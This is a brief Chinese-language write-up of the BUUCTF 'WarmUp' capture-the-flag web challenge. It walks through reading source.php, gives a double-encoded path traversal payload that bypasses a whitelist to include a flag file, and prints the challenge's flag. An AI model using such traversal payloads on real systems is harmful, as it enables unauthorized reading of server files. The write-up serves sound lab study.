BUUCTF刷题记录-WarmUp

在这里插入图片描述
首先检查源码

看到注释，查看source.php

提示查看hint.php

payload

file=source.php%253f/../../../../../../ffffllllaaaagggg

即可查看flag
在这里插入图片描述

flag{4207264a-025e-466a-8938-908319885f82}